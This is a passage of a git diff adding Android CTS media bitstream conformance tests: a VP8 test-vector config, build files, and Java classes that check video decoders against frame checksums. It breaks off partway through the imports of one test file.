+  <entry key="vp8/yuv420/8bit/resolution/crowd_960x640p50f32_1200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=269201,width=960,height=640,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_960x720p50f32_1300kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=292743,width=960,height=720,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_960x960p50f32_1800kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=418761,width=960,height=960,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_96x128p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=21046,width=96,height=128,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_96x144p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=21094,width=96,height=144,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_96x176p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=23140,width=96,height=176,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_96x64p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=19097,width=96,height=64,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_96x72p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=19164,width=96,height=72,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+  <entry key="vp8/yuv420/8bit/resolution/crowd_96x96p50f32_200kbps.webm">
+    <value>mime=video/x-vnd.on2.vp8,size=20262,width=96,height=96,frame-rate=,profile=,level=,bitrate=</value>
+  </entry>
+</dynamicConfig>
diff --git a/hostsidetests/media/bitstreams/app/Android.mk b/hostsidetests/media/bitstreams/app/Android.mk
new file mode 100644
index 0000000..df8e6a4
--- /dev/null
+++ b/hostsidetests/media/bitstreams/app/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util media-bitstreams-common-devicesidelib
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsMediaBitstreamsDeviceSideTestApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/media/bitstreams/app/AndroidManifest.xml b/hostsidetests/media/bitstreams/app/AndroidManifest.xml
new file mode 100644
index 0000000..d5565fd
--- /dev/null
+++ b/hostsidetests/media/bitstreams/app/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="android.media.cts.bitstreams.app">
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <application>
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+            android:targetPackage="android.media.cts.bitstreams.app"
+            android:label="Device-side CTS media bitstreams preparation" />
+</manifest>
diff --git a/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java b/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
new file mode 100644
index 0000000..92f0d2a
--- /dev/null
+++ b/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
@@ -0,0 +1,374 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts.bitstreams.app;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.content.SharedPreferences.Editor;
+import android.media.MediaCodec;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.cts.bitstreams.MediaBitstreams;
+import android.os.Bundle;
+import android.os.Debug;
+import android.support.test.InstrumentationRegistry;
+import android.util.Xml;
+import com.android.compatibility.common.util.DynamicConfigDeviceSide;
+import com.android.compatibility.common.util.MediaUtils;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.io.PrintStream;
+import java.nio.file.Files;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Scanner;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+import org.xmlpull.v1.XmlSerializer;
+
+/**
+ * Test class that uses device-side media APIs to determine up to which resolution MediaPreparer
+ * should copy media files for CtsMediaStressTestCases.
+ */
+@RunWith(JUnit4.class)
+public class MediaBitstreamsDeviceSideTest {
+
+    private static final String KEY_SIZE = "size";
+    private static final String UTF_8 = "utf-8";
+    /** Instrumentation status code used to write resolution to metrics */
+    private static final int INST_STATUS_IN_PROGRESS = 2;
+
+    private static File mAppCache = InstrumentationRegistry.getContext().getExternalCacheDir();
+    private static String mDeviceBitstreamsPath = InstrumentationRegistry.getArguments().getString(
+            MediaBitstreams.OPT_DEVICE_BITSTEAMS_PATH,
+            MediaBitstreams.DEFAULT_DEVICE_BITSTEAMS_PATH);
+
+    @BeforeClass
+    public static void setUp() {
+        Bundle args = InstrumentationRegistry.getArguments();
+        String debugStr = args.getString(MediaBitstreams.OPT_DEBUG_TARGET_DEVICE, "false");
+        boolean debug = Boolean.parseBoolean(debugStr);
+        if (debug && !Debug.isDebuggerConnected()) {
+            Debug.waitForDebugger();
+        }
+    }
+
+    static interface ReportCallback {
+        void run(OutputStream out) throws Exception;
+    }
+
+    static class GenerateBitstreamsFormatsXml implements ReportCallback {
+        @Override
+        public void run(OutputStream out) throws Exception {
+
+            String[] keys = new String[] {
+                    MediaFormat.KEY_WIDTH,
+                    MediaFormat.KEY_HEIGHT,
+                    MediaFormat.KEY_FRAME_RATE,
+                    MediaFormat.KEY_PROFILE,
+                    MediaFormat.KEY_LEVEL,
+                    MediaFormat.KEY_BIT_RATE};
+
+            XmlSerializer formats = Xml.newSerializer();
+            formats.setOutput(out, UTF_8);
+            formats.startDocument(UTF_8, true);
+            formats.startTag(null, MediaBitstreams.DYNAMIC_CONFIG);
+
+            DynamicConfigDeviceSide config = new DynamicConfigDeviceSide(MediaBitstreams.K_MODULE);
+            for (String path : config.keySet()) {
+
+                formats.startTag(null, MediaBitstreams.DYNAMIC_CONFIG_ENTRY);
+                formats.attribute(null, MediaBitstreams.DYNAMIC_CONFIG_KEY, path);
+                formats.startTag(null, MediaBitstreams.DYNAMIC_CONFIG_VALUE);
+
+                String formatStr = config.getValue(path);
+                if (formatStr != null && !formatStr.isEmpty()) {
+                    formats.text(formatStr);
+                } else {
+                    File media = new File(mDeviceBitstreamsPath, path);
+                    String fullPath = media.getPath();
+                    MediaFormat format = MediaUtils.getTrackFormatForPath(null, fullPath, "video");
+                    StringBuilder formatStringBuilder = new StringBuilder(MediaFormat.KEY_MIME);
+                    formatStringBuilder.append('=').append(format.getString(MediaFormat.KEY_MIME));
+                    formatStringBuilder.append(',').append(KEY_SIZE)
+                            .append('=').append(media.length());
+                    for (String key : keys) {
+                        formatStringBuilder.append(',').append(key).append('=');
+                        if (format.containsKey(key)) {
+                            formatStringBuilder.append(format.getInteger(key));
+                        }
+                    }
+                    formats.text(formatStringBuilder.toString());
+                }
+
+                formats.endTag(null, MediaBitstreams.DYNAMIC_CONFIG_VALUE);
+                formats.endTag(null, MediaBitstreams.DYNAMIC_CONFIG_ENTRY);
+
+            }
+
+            formats.endTag(null, MediaBitstreams.DYNAMIC_CONFIG);
+            formats.endDocument();
+
+        }
+    }
+
+    static class GenerateSupportedBitstreamsFormatsTxt implements ReportCallback {
+
+        @Override
+        public void run(OutputStream out) throws Exception {
+
+            PrintStream ps = new PrintStream(out);
+            Bundle args = InstrumentationRegistry.getArguments();
+            String prefix = args.getString(MediaBitstreams.OPT_BITSTREAMS_PREFIX, "");
+            DynamicConfigDeviceSide config = new DynamicConfigDeviceSide(MediaBitstreams.K_MODULE);
+
+            for (String path : config.keySet()) {
+
+                if (!path.startsWith(prefix)) {
+                    continue;
+                }
+
+                String formatStr = config.getValue(path);
+                if (formatStr == null || formatStr.isEmpty()) {
+                    continue;
+                }
+
+                MediaFormat format = parseTrackFormat(formatStr);
+                if (!MediaUtils.checkDecoderForFormat(format)) {
+                    continue;
+                }
+
+                ps.println(path);
+            }
+            ps.flush();
+        }
+    }
+
+    static class TestBitstreamsConformance implements ReportCallback {
+
+        ExecutorService mExecutorService;
+
+        private SharedPreferences getSettings() {
+            Context ctx = InstrumentationRegistry.getContext();
+            SharedPreferences settings = ctx.getSharedPreferences(MediaBitstreams.K_MODULE, 0);
+            return settings;
+        }
+
+        private void setup() {
+            Bundle args = InstrumentationRegistry.getArguments();
+            String lastCrash = args.getString(MediaBitstreams.OPT_LAST_CRASH);
+            if (lastCrash != null) {
+                SharedPreferences settings = getSettings();
+                int n = settings.getInt(lastCrash, 0);
+                Editor editor = settings.edit();
+                editor.putInt(lastCrash, n + 1);
+                editor.commit();
+            }
+        }
+
+        @Override
+        public void run(OutputStream out) throws Exception {
+            setup();
+            mExecutorService = Executors.newFixedThreadPool(3);
+            try (
+                Scanner sc = new Scanner(
+                        new File(mDeviceBitstreamsPath, MediaBitstreams.K_BITSTREAMS_LIST_TXT));
+                PrintStream ps = new PrintStream(out, true)
+            ) {
+                while (sc.hasNextLine()) {
+                    verifyBitstream(ps, sc.nextLine());
+                }
+            } finally {
+                mExecutorService.shutdown();
+            }
+        }
+
+        private List<String> getDecodersForPath(String path) throws IOException {
+            List<String> decoders = new ArrayList<>();
+            MediaExtractor ex = new MediaExtractor();
+            try {
+                ex.setDataSource(path);
+                MediaFormat format = ex.getTrackFormat(0);
+                boolean[] vendors = new boolean[] {false, true};
+                for (boolean v : vendors) {
+                    for (String name : MediaUtils.getDecoderNames(v, format)) {
+                        decoders.add(name);
+                    }
+                }
+            } finally {
+                ex.release();
+            }
+            return decoders;
+        }
+
+        private List<String> getFrameChecksumsForPath(String path) throws IOException {
+            String md5Path = MediaBitstreams.getMd5Path(path);
+            List<String> frameMD5Sums = Files.readAllLines(
+                    new File(mDeviceBitstreamsPath, md5Path).toPath());
+            for (int i = 0; i < frameMD5Sums.size(); i++) {
+                String line = frameMD5Sums.get(i);
+                frameMD5Sums.set(i, line.split(" ")[0]);
+            }
+            return frameMD5Sums;
+        }
+
+        private void verifyBitstream(PrintStream ps, String relativePath) {
+            ps.println(relativePath);
+
+            List<String> decoders = new ArrayList<>();
+            List<String> frameChecksums = new ArrayList<>();
+            SharedPreferences settings = getSettings();
+            String fullPath = new File(mDeviceBitstreamsPath, relativePath).toString();
+            try {
+                String lastCrash = MediaBitstreams.generateCrashSignature(relativePath, "");
+                if (settings.getInt(lastCrash, 0) >= 3) {
+                    ps.println(MediaBitstreams.K_NATIVE_CRASH);
+                    return;
+                }
+                decoders = getDecodersForPath(fullPath);
+                frameChecksums = getFrameChecksumsForPath(relativePath);
+                ps.println(false);
+            } catch (Exception e) {
+                ps.println(true);
+                ps.println(e.toString());
+                return;
+            }
+
+            ps.println(decoders.size());
+            for (String name : decoders) {
+                ps.println(name);
+                String lastCrash = MediaBitstreams.generateCrashSignature(relativePath, name);
+                if (settings.getInt(lastCrash, 0) >= 3) {
+                    ps.println(MediaBitstreams.K_NATIVE_CRASH);
+                } else {
+                    ps.println(verifyBitstream(fullPath, name, frameChecksums));
+                }
+            }
+
+        }
+
+        private String verifyBitstream(String path, String name, List<String> frameChecksums)  {
+            MediaExtractor ex = new MediaExtractor();
+            MediaCodec d = null;
+            try {
+                MediaCodec decoder = d = MediaCodec.createByCodecName(name);
+                ex.setDataSource(path);
+                ex.selectTrack(0);
+                ex.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
+                Future<Boolean> conform = mExecutorService.submit(new Callable<Boolean>() {
+                    @Override
+                    public Boolean call() throws Exception {
+                        return MediaUtils.verifyDecoder(decoder, ex, frameChecksums);
+                    }
+                });
+                return conform.get(15, TimeUnit.SECONDS).toString();
+            } catch (Exception e) {
+                return e.toString();
+            } finally {
+                ex.release();
+                if (d != null) {
+                    d.release();
+                }
+            }
+        }
+
+    }
+
+    private void generateReportFile(String suffix, String reportKey, ReportCallback callback)
+            throws IOException, FileNotFoundException, Exception {
+
+        OutputStream out = new ByteArrayOutputStream(0);
+
+        try {
+
+            File tmpf = File.createTempFile(getClass().getSimpleName(), suffix, mAppCache);
+            Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+            Bundle bundle = new Bundle();
+            bundle.putString(MediaBitstreams.KEY_APP_CACHE_DIR, mAppCache.getCanonicalPath());
+            bundle.putString(reportKey, tmpf.getCanonicalPath());
+            inst.sendStatus(INST_STATUS_IN_PROGRESS, bundle);
+
+            out = new FileOutputStream(tmpf);
+            callback.run(out);
+            out.flush();
+
+        } finally {
+
+            out.close();
+
+        }
+    }
+
+    @Test
+    public void testGetBitstreamsFormats() throws Exception {
+        generateReportFile(".xml",
+                MediaBitstreams.KEY_BITSTREAMS_FORMATS_XML,
+                new GenerateBitstreamsFormatsXml());
+    }
+
+    @Test
+    public void testGetSupportedBitstreams() throws Exception {
+        generateReportFile(".txt",
+                MediaBitstreams.KEY_SUPPORTED_BITSTREAMS_TXT,
+                new GenerateSupportedBitstreamsFormatsTxt());
+    }
+
+    @Test
+    public void testBitstreamsConformance() throws Exception {
+        generateReportFile(".txt",
+                MediaBitstreams.KEY_BITSTREAMS_VALIDATION_TXT,
+                new TestBitstreamsConformance());
+    }
+
+    /**
+     * Converts a single media track format string into a MediaFormat object
+     *
+     * @param trackFormatString a string representation of the format of one media track
+     * @return a MediaFormat
+     */
+    private static MediaFormat parseTrackFormat(String trackFormatString) {
+        MediaFormat format = new MediaFormat();
+        format.setString(MediaFormat.KEY_MIME, "");
+        for (String entry : trackFormatString.split(",")) {
+            String[] kv = entry.split("=");
+            if (kv.length < 2 || kv[1].isEmpty()) {
+                continue;
+            }
+            String k = kv[0];
+            String v = kv[1];
+            try {
+                format.setInteger(k, Integer.parseInt(v));
+            } catch (NumberFormatException e) {
+                format.setString(k, v);
+            }
+        }
+        return format;
+    }
+}
diff --git a/hostsidetests/media/bitstreams/common/Android.mk b/hostsidetests/media/bitstreams/common/Android.mk
new file mode 100644
index 0000000..1691257
--- /dev/null
+++ b/hostsidetests/media/bitstreams/common/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+###############################################################################
+# Build the common library for use device-side
+###############################################################################
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE := media-bitstreams-common-devicesidelib
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/hostsidetests/media/bitstreams/common/src/android/media/cts/bitstreams/MediaBitstreams.java b/hostsidetests/media/bitstreams/common/src/android/media/cts/bitstreams/MediaBitstreams.java
new file mode 100644
index 0000000..8b9a507
--- /dev/null
+++ b/hostsidetests/media/bitstreams/common/src/android/media/cts/bitstreams/MediaBitstreams.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts.bitstreams;
+
+/**
+ * This class provides constants and utilities shared between the host-side and device-side test
+ * components.
+ */
+public class MediaBitstreams {
+
+    /* options */
+    public static final String OPT_HOST_BITSTEAMS_PATH = "host-bitsteams-path";
+    public static final String OPT_DEVICE_BITSTEAMS_PATH = "device-bitsteams-path";
+    public static final String OPT_DOWNLOAD_BITSTREAMS = "download-bitstreams";
+    public static final String OPT_DEBUG_TARGET_DEVICE = "debug-target-device";
+    public static final String OPT_BITSTREAMS_TO_TEST_TXT = "bitstreams-to-test-txt";
+    public static final String OPT_UTILIZATION_RATE = "utilization-rate";
+    public static final String OPT_NUM_BATCHES = "num-batches";
+    public static final String OPT_LAST_CRASH = "last-crash";
+    public static final String OPT_BITSTREAMS_PREFIX = "prefix";
+
+    /* defaults */
+    public static final String DEFAULT_HOST_BITSTREAMS_PATH = "TestVectorsIttiam";
+    public static final String DEFAULT_DEVICE_BITSTEAMS_PATH = "/data/local/tmp/TestVectorsIttiam";
+
+    /* metric keys */
+    public static final String KEY_BITSTREAMS_FORMATS_XML = "bitstreams-formats-xml";
+    public static final String KEY_SUPPORTED_BITSTREAMS_TXT = "supported-bitstreams-txt";
+    public static final String KEY_BITSTREAMS_VALIDATION_TXT = "bitstreams-validation-txt";
+    public static final String KEY_APP_CACHE_DIR = "app-cache-dir";
+    public static final String KEY_ERR_MSG = "err-msg";
+
+    /* constants */
+    public static final String K_MODULE = "CtsMediaBitstreamsTestCases";
+    public static final String K_BITSTREAMS_LIST_TXT = "bitstreamsFile.txt";
+    public static final String K_TEST_GET_SUPPORTED_BITSTREAMS = "testGetSupportedBitstreams";
+    public static final String K_NATIVE_CRASH = "native crash";
+
+    public static final String DYNAMIC_CONFIG_XML = "DynamicConfig.xml";
+    public static final String DYNAMIC_CONFIG = "dynamicConfig";
+    public static final String DYNAMIC_CONFIG_ENTRY = "entry";
+    public static final String DYNAMIC_CONFIG_KEY = "key";
+    public static final String DYNAMIC_CONFIG_VALUE = "value";
+
+    /* utilities */
+    /**
+     * @param bitstreamPath path of individual bitstream relative to bitstreams root,
+     * e.g. {@code h264/../../../../*.mp4}
+     * @return checksum file path for {@code bitstreamPath}, e.g. {@code h264/../../../../*_md5}.
+     */
+    public static String getMd5Path(String bitstreamPath) {
+        String base = bitstreamPath.split("\\.")[0];
+        String codec = bitstreamPath.split("/", 2)[0];
+        String md5Path = String.format("%s_%s_md5", base, codec);
+        return md5Path;
+    }
+
+    /**
+     * @param path relative bitstream path, e.g. {@code h264/../../../../*.mp4}
+     * @param name codec name, e.g. {@code OMX.google.h264.decoder}
+     * @return crash signature for a crashed device decoding session,
+     * in the form of {@code <bitstream path>:<codec name>}
+     */
+    public static String generateCrashSignature(String path, String name) {
+        return String.format("%s:%s", path, name);
+    }
+
+}
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/DeviceJUnit4ClassRunnerWithParameters.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/DeviceJUnit4ClassRunnerWithParameters.java
new file mode 100644
index 0000000..4b4a2a7
--- /dev/null
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/DeviceJUnit4ClassRunnerWithParameters.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts.bitstreams;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.IDeviceTest;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.List;
+import org.junit.runner.Description;
+import org.junit.runner.Runner;
+import org.junit.runners.model.FrameworkMethod;
+import org.junit.runners.model.InitializationError;
+import org.junit.runners.model.TestClass;
+import org.junit.runners.parameterized.BlockJUnit4ClassRunnerWithParameters;
+import org.junit.runners.parameterized.ParametersRunnerFactory;
+import org.junit.runners.parameterized.TestWithParameters;
+
+/**
+ * Custom JUnit4 parameterized test runner that also accommodate {@link IDeviceTest}.
+ */
+public class DeviceJUnit4ClassRunnerWithParameters extends BlockJUnit4ClassRunnerWithParameters
+        implements IDeviceTest, IBuildReceiver, IAbiReceiver {
+
+    private ITestDevice mDevice;
+    private IBuildInfo mBuildInfo;
+    private IAbi mAbi;
+    private Collection<FrameworkMethod> mFilteredChildren;
+    private Object mChildrenLock = new Object();
+
+    public DeviceJUnit4ClassRunnerWithParameters(TestWithParameters test) throws InitializationError {
+        super(test);
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mBuildInfo = buildInfo;
+    }
+
+
+    @Override
+    public void setAbi(IAbi abi) {
+        mAbi = abi;
+    }
+
+    @Override
+    public void setDevice(ITestDevice device) {
+        mDevice = device;
+    }
+
+    @Override
+    public ITestDevice getDevice() {
+        return mDevice;
+    }
+
+    @Override
+    public Description getDescription() {
+        Description description = Description.createSuiteDescription(getTestClass().getJavaClass());
+        for (FrameworkMethod child : getFilteredChildren()) {
+            description.addChild(describeChild(child));
+        }
+        return description;
+    }
+
+    private Collection<FrameworkMethod> getFilteredChildren() {
+        if (mFilteredChildren == null) {
+            synchronized (mChildrenLock) {
+                if (mFilteredChildren == null) {
+                    mFilteredChildren = Collections.unmodifiableCollection(getChildren());
+                }
+            }
+        }
+        return mFilteredChildren;
+    }
+
+    /**
+     * We override createTest in order to set the device.
+     */
+    @Override
+    public Object createTest() throws Exception {
+        Object testObj = super.createTest();
+        if (testObj instanceof IDeviceTest) {
+            if (mDevice == null) {
+                throw new IllegalArgumentException("Missing device");
+            }
+            ((IDeviceTest) testObj).setDevice(mDevice);
+        }
+        if (testObj instanceof IBuildReceiver) {
+            if (mBuildInfo == null) {
+                throw new IllegalArgumentException("Missing build information");
+            }
+            ((IBuildReceiver) testObj).setBuild(mBuildInfo);
+        }
+        // We are more flexible about abi information since not always available.
+        if (testObj instanceof IAbiReceiver) {
+            ((IAbiReceiver) testObj).setAbi(mAbi);
+        }
+        return testObj;
+    }
+
+    public static class RunnerFactory implements ParametersRunnerFactory {
+        @Override
+        public Runner createRunnerForTestWithParameters(TestWithParameters test)
+                throws InitializationError {
+            return new DeviceJUnit4ClassRunnerWithParameters(test);
+        }
+    }
+
+}
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/DeviceJUnit4Parameterized.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/DeviceJUnit4Parameterized.java
new file mode 100644
index 0000000..5c0b7bc
--- /dev/null
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/DeviceJUnit4Parameterized.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts.bitstreams;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.IDeviceTest;
+import java.util.List;
+import org.junit.runner.Runner;
+import org.junit.runners.Parameterized;
+
+/**
+ * Custom JUnit4 parameterized test runner that also accommodate {@link IDeviceTest}.
+ */
+public class DeviceJUnit4Parameterized extends Parameterized
+        implements IDeviceTest, IBuildReceiver, IAbiReceiver {
+
+    private ITestDevice mDevice;
+    private List<Runner> mRunners;
+
+    public DeviceJUnit4Parameterized(Class<?> klass) throws Throwable {
+        super(klass);
+        mRunners = super.getChildren();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        for (Runner runner : mRunners) {
+            if (runner instanceof IBuildReceiver) {
+                ((IBuildReceiver)runner).setBuild(buildInfo);
+            }
+        }
+    }
+
+    @Override
+    public void setAbi(IAbi abi) {
+        for (Runner runner : mRunners) {
+            if (runner instanceof IAbiReceiver) {
+                ((IAbiReceiver)runner).setAbi(abi);
+            }
+        }
+    }
+
+    @Override
+    public void setDevice(ITestDevice device) {
+        mDevice = device;
+        for (Runner runner : mRunners) {
+            if (runner instanceof IDeviceTest) {
+                ((IDeviceTest)runner).setDevice(device);
+            }
+        }
+    }
+
+    @Override
+    public ITestDevice getDevice() {
+        return mDevice;
+    }
+
+
+    @Override
+    protected List<Runner> getChildren() {
+        return mRunners;
+    }
+}
diff --git a/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/MediaBitstreamsTest.java b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/MediaBitstreamsTest.java
new file mode 100644
index 0000000..a016575
--- /dev/null
+++ b/hostsidetests/media/bitstreams/src/android/media/cts/bitstreams/MediaBitstreamsTest.java
@@ -0,0 +1,415 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.cts.bitstreams;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.util.MetricsReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.Option;
+import com.android.tradefed.config.OptionClass;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.util.FileUtil;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.io.PrintStream;
+import java.nio.file.Files;
+import java.util.ArrayDeque;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Deque;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.LinkedHashSet;
+import java.util.List;
